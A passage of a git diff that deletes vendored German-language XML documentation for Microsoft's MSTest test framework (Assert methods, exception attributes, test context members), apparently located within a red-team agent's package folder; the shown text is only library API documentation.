Verzeichnis für Dateien ab, die für den Testlauf bereitgestellt werden. Normalerweise ein Unterverzeichnis von . - Identisch mit. Verwenden Sie diese Eigenschaft für Dateien, die für den Testlauf bereitgestellt werden, oder - für testspezifische Ergebnisdateien. - - - - - Ruft den vollqualifizierten Namen der Klasse ab, die die momentan ausgeführte Testmethode enthält - - - - - Ruft den Namen der zurzeit ausgeführten Testmethode ab. - - - - - Ruft das aktuelle Testergebnis ab. - - - - - Wird zum Schreiben von Ablaufverfolgungsnachrichten verwendet, während der Test ausgeführt wird. - - formatierte Meldungszeichenfolge - - - - Wird zum Schreiben von Ablaufverfolgungsnachrichten verwendet, während der Test ausgeführt wird. - - Formatzeichenfolge - Die Argumente - - - - Fügt der Liste in TestResult.ResultFileNames einen Dateinamen hinzu. - - - Der Dateiname. - - - - - Startet einen Timer mit dem angegebenen Namen. - - Name des Timers. - - - - Beendet einen Timer mit dem angegebenen Namen. - - Name des Timers. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/de/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/de/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index ae680260..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/de/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - TestMethod für die Ausführung. - - - - - Ruft den Namen der Testmethode ab. - - - - - Ruft den Namen der Testklasse ab. - - - - - Ruft den Rückgabetyp der Testmethode ab. - - - - - Ruft die Parameter der Testmethode ab. - - - - - Ruft die methodInfo der Testmethode ab. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Ruft die Testmethode auf. - - - An die Testmethode zu übergebende Argumente (z. B. für datengesteuerte Tests). - - - Das Ergebnis des Testmethodenaufrufs. - - - This call handles asynchronous test methods as well. - - - - - Ruft alle Attribute der Testmethode ab. - - - Gibt an, ob das in der übergeordneten Klasse definierte Attribut gültig ist. - - - Alle Attribute. - - - - - Ruft ein Attribut eines bestimmten Typs ab. - - System.Attribute type. - - Gibt an, ob das in der übergeordneten Klasse definierte Attribut gültig ist. - - - Die Attribute des angegebenen Typs. - - - - - Das Hilfsprogramm. - - - - - Der check-Parameter ungleich null. - - - Der Parameter. - - - Der Parametername. - - - Die Meldung. - - Throws argument null exception when parameter is null. - - - - Der check-Parameter ungleich null oder leer. - - - Der Parameter. - - - Der Parametername. - - - Die Meldung. - - Throws ArgumentException when parameter is null. - - - - Enumeration für die Art des Zugriffs auf Datenzeilen in datengesteuerten Tests. - - - - - Zeilen werden in sequenzieller Reihenfolge zurückgegeben. - - - - - Zeilen werden in zufälliger Reihenfolge zurückgegeben. - - - - - Attribut zum Definieren von Inlinedaten für eine Testmethode. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Das Datenobjekt. - - - - Initialisiert eine neue Instanz der -Klasse, die ein Array aus Argumenten akzeptiert. - - Ein Datenobjekt. - Weitere Daten. - - - - Ruft Daten für den Aufruf der Testmethode ab. - - - - - Ruft den Anzeigenamen in den Testergebnissen für die Anpassung ab. - - - - - Die nicht eindeutige Assert-Ausnahme. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - Die Ausnahme. - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - - - - Initialisiert eine neue Instanz der -Klasse. - - - - - Die InternalTestFailureException-Klasse. Wird zum Angeben eines internen Fehlers für einen Testfall verwendet. - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Ausnahmemeldung. - Die Ausnahme. - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Ausnahmemeldung. - - - - Initialisiert eine neue Instanz der -Klasse. - - - - - Ein Attribut, das angibt, dass eine Ausnahme des angegebenen Typs erwartet wird - - - - - Initialisiert eine neue Instanz der -Klasse mit dem erwarteten Typ - - Der Typ der erwarteten Ausnahme. - - - - Initialisiert eine neue Instanz der-Klasse mit - dem erwarteten Typ und der einzuschließenden Meldung, wenn vom Test keine Ausnahme ausgelöst wurde. - - Der Typ der erwarteten Ausnahme. - - Die Meldung, die in das Testergebnis eingeschlossen werden soll, wenn beim Test ein Fehler auftritt, weil keine Ausnahme ausgelöst wird. - - - - - Ruft einen Wert ab, der den Typ der erwarteten Ausnahme angibt. - - - - - Ruft einen Wert ab, der angibt, ob es zulässig ist, dass vom Typ der erwarteten Ausnahme abgeleitete Typen - als erwartet qualifiziert werden. - - - - - Ruft die Meldung ab, die dem Testergebnis hinzugefügt werden soll, falls beim Test ein Fehler auftritt, weil keine Ausnahme ausgelöst wird. - - - - - Überprüft, ob der Typ der vom Komponententest ausgelösten Ausnahme erwartet wird. - - Die vom Komponententest ausgelöste Ausnahme. - - - - Basisklasse für Attribute, die angeben, dass eine Ausnahme aus einem Komponententest erwartet wird. - - - - - Initialisiert eine neue Instanz der -Klasse mit einer standardmäßigen "no-exception"-Meldung. - - - - - Initialisiert eine neue Instanz der -Klasse mit einer 2no-exception"-Meldung - - - Die Meldung, die in das Testergebnis eingeschlossen werden soll, wenn beim Test ein Fehler auftritt, - weil keine Ausnahme ausgelöst wird. - - - - - Ruft die Meldung ab, die dem Testergebnis hinzugefügt werden soll, falls beim Test ein Fehler auftritt, weil keine Ausnahme ausgelöst wird. - - - - - Ruft die Meldung ab, die dem Testergebnis hinzugefügt werden soll, falls beim Test ein Fehler auftritt, weil keine Ausnahme ausgelöst wird. - - - - - Ruft die standardmäßige Nichtausnahmemeldung ab. - - Der Typname des ExpectedException-Attributs. - Die standardmäßige Nichtausnahmemeldung. - - - - Ermittelt, ob die Annahme erwartet ist. Wenn die Methode zurückkehrt, wird davon ausgegangen, - dass die Annahme erwartet war. Wenn die Methode eine Ausnahme auslöst, - wird davon ausgegangen, dass die Ausnahme nicht erwartet war, und die Meldung - der ausgelösten Ausnahme wird in das Testergebnis eingeschlossen. Die -Klasse wird aus Gründen der - Zweckmäßigkeit bereitgestellt. Wenn verwendet wird und ein Fehler der Assertion auftritt, - wird das Testergebnis auf Inconclusive festgelegt. - - Die vom Komponententest ausgelöste Ausnahme. - - - - Löst die Ausnahme erneut aus, wenn es sich um eine AssertFailedException oder eine AssertInconclusiveException handelt. - - Die Ausnahme, die erneut ausgelöst werden soll, wenn es sich um eine Assertionausnahme handelt. - - - - Diese Klasse unterstützt Benutzer beim Ausführen von Komponententests für Typen, die generische Typen verwenden. - GenericParameterHelper erfüllt einige allgemeine generische Typeinschränkungen, - beispielsweise: - 1. öffentlicher Standardkonstruktor - 2. implementiert allgemeine Schnittstellen: IComparable, IEnumerable - - - - - Initialisiert eine neue Instanz der -Klasse, die - die Einschränkung "newable" in C#-Generika erfüllt. - - - This constructor initializes the Data property to a random value. - - - - - Initialisiert eine neue Instanz der-Klasse, die - die Data-Eigenschaft mit einem vom Benutzer bereitgestellten Wert initialisiert. - - Ein Integerwert - - - - Ruft die Daten ab oder legt sie fest. - - - - - Führt den Wertvergleich für zwei GenericParameterHelper-Objekte aus. - - Das Objekt, mit dem der Vergleich ausgeführt werden soll. - TRUE, wenn das Objekt den gleichen Wert wie "dieses" GenericParameterHelper-Objekt aufweist. - Andernfalls FALSE. - - - - Gibt einen Hashcode für diese Objekt zurück. - - Der Hash. - - - - Vergleicht die Daten der beiden -Objekte. - - Das Objekt, mit dem verglichen werden soll. - - Eine signierte Zahl, die die relativen Werte dieser Instanz und dieses Werts angibt. - - - Thrown when the object passed in is not an instance of . - - - - - Gibt ein IEnumerator-Objekt zurück, dessen Länge aus - der Data-Eigenschaft abgeleitet ist. - - Das IEnumerator-Objekt - - - - Gibt ein GenericParameterHelper-Objekt zurück, das gleich - dem aktuellen Objekt ist. - - Das geklonte Objekt. - - - - Ermöglicht Benutzern das Protokollieren/Schreiben von Ablaufverfolgungen aus Komponententests für die Diagnose. - - - - - Handler für LogMessage. - - Die zu protokollierende Meldung. - - - - Zu überwachendes Ereignis. Wird ausgelöst, wenn der Komponententestwriter eine Meldung schreibt. - Wird hauptsächlich von Adaptern verwendet. - - - - - Vom Testwriter aufzurufende API zum Protokollieren von Meldungen. - - Das Zeichenfolgenformat mit Platzhaltern. - Parameter für Platzhalter. - - - - Das TestCategory-Attribut. Wird zum Angeben der Kategorie eines Komponententests verwendet. - - - - - Initialisiert eine neue Instanz der -Klasse und wendet die Kategorie auf den Test an. - - - Die test-Kategorie. - - - - - Ruft die Testkategorien ab, die auf den Test angewendet wurden. - - - - - Die Basisklasse für das Category-Attribut. - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Initialisiert eine neue Instanz der -Klasse. - Wendet die Kategorie auf den Test an. Die von TestCategories - zurückgegebenen Zeichenfolgen werden mit dem Befehl "/category" zum Filtern von Tests verwendet. - - - - - Ruft die Testkategorie ab, die auf den Test angewendet wurde. - - - - - Die AssertFailedException-Klasse. Wird zum Angeben eines Fehlers für einen Testfall verwendet. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - Die Ausnahme. - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - - - - Initialisiert eine neue Instanz der -Klasse. - - - - - Eine Sammlung von Hilfsklassen zum Testen verschiedener Bedingungen in - Komponententests. Wenn die getestete Bedingung nicht erfüllt wird, wird eine Ausnahme - ausgelöst. - - - - - Ruft die Singleton-Instanz der Assert-Funktionalität ab. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testet, ob die angegebene Bedingung TRUE ist, und löst eine Ausnahme aus, - wenn die Bedingung FALSE ist. - - - Die Bedingung, von der der Test erwartet, dass sie TRUE ist. - - - Thrown if is false. - - - - - Testet, ob die angegebene Bedingung TRUE ist, und löst eine Ausnahme aus, - wenn die Bedingung FALSE ist. - - - Die Bedingung, von der der Test erwartet, dass sie TRUE ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - FALSE ist. Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is false. - - - - - Testet, ob die angegebene Bedingung TRUE ist, und löst eine Ausnahme aus, - wenn die Bedingung FALSE ist. - - - Die Bedingung, von der der Test erwartet, dass sie TRUE ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - FALSE ist. Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is false. - - - - - Testet, ob die angegebene Bedingung FALSE ist, und löst eine Ausnahme aus, - wenn die Bedingung TRUE ist. - - - Die Bedingung, von der der Test erwartet, dass sie FALSE ist. - - - Thrown if is true. - - - - - Testet, ob die angegebene Bedingung FALSE ist, und löst eine Ausnahme aus, - wenn die Bedingung TRUE ist. - - - Die Bedingung, von der der Test erwartet, dass sie FALSE ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist TRUE. Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is true. - - - - - Testet, ob die angegebene Bedingung FALSE ist, und löst eine Ausnahme aus, - wenn die Bedingung TRUE ist. - - - Die Bedingung, von der der Test erwartet, dass sie FALSE ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist TRUE. Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is true. - - - - - Testet, ob das angegebene Objekt NULL ist, und löst eine Ausnahme aus, - wenn dies nicht der Fall ist. - - - Das Objekt, von dem der Test erwartet, dass es NULL ist. - - - Thrown if is not null. - - - - - Testet, ob das angegebene Objekt NULL ist, und löst eine Ausnahme aus, - wenn dies nicht der Fall ist. - - - Das Objekt, von dem der Test erwartet, dass es NULL ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht NULL. Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is not null. - - - - - Testet, ob das angegebene Objekt NULL ist, und löst eine Ausnahme aus, - wenn dies nicht der Fall ist. - - - Das Objekt, von dem der Test erwartet, dass es NULL ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht NULL. Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not null. - - - - - Testet, ob das angegebene Objekt ungleich NULL ist, und löst eine Ausnahme aus, - wenn es NULL ist. - - - Das Objekt, von dem der Test erwartet, dass es ungleich NULL ist. - - - Thrown if is null. - - - - - Testet, ob das angegebene Objekt ungleich NULL ist, und löst eine Ausnahme aus, - wenn es NULL ist. - - - Das Objekt, von dem der Test erwartet, dass es ungleich NULL ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist NULL. Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is null. - - - - - Testet, ob das angegebene Objekt ungleich NULL ist, und löst eine Ausnahme aus, - wenn es NULL ist. - - - Das Objekt, von dem der Test erwartet, dass es ungleich NULL ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist NULL. Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is null. - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, den der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Thrown if does not refer to the same object - as . - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, den der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht identisch mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if does not refer to the same object - as . - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, den der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht identisch mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if does not refer to the same object - as . - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Thrown if refers to the same object - as . - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist identisch mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if refers to the same object - as . - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist identisch mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if refers to the same object - as . - - - - - Testet, ob die angegebenen Werte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Der erste zu vergleichende Wert. Dies ist der Wert, den der Test erwartet. - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Werte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Der erste zu vergleichende Wert. Dies ist der Wert, den der Test erwartet. - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Werte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Der erste zu vergleichende Wert. Dies ist der Wert, den der Test erwartet. - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Werte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Werte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Werte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Objekte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist das Objekt, das der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Objekte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist das Objekt, das der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Objekte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist das Objekt, das der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Objekte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Objekte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Objekte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Gleitkommawerte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, den der Test erwartet. - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Gleitkommawerte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, den der Test erwartet. - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Die in die Ausnahme einzuschließende Meldung, wenn - sich unterscheidet von um mehr als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Gleitkommawerte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, den der Test erwartet. - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Die in die Ausnahme einzuschließende Meldung, wenn - sich unterscheidet von um mehr als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Gleitkommawerte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Gleitkommawerte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich oder sich unterscheidet um weniger als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Gleitkommawerte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich oder sich unterscheidet um weniger als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Double-Werte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, den der Test erwartet. - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Double-Werte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, den der Test erwartet. - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Die in die Ausnahme einzuschließende Meldung, wenn - sich unterscheidet von um mehr als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Double-Werte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, den der Test erwartet. - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Die in die Ausnahme einzuschließende Meldung, wenn - sich unterscheidet von um mehr als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Double-Werte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Double-Werte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich oder sich unterscheidet um weniger als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Double-Werte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, für 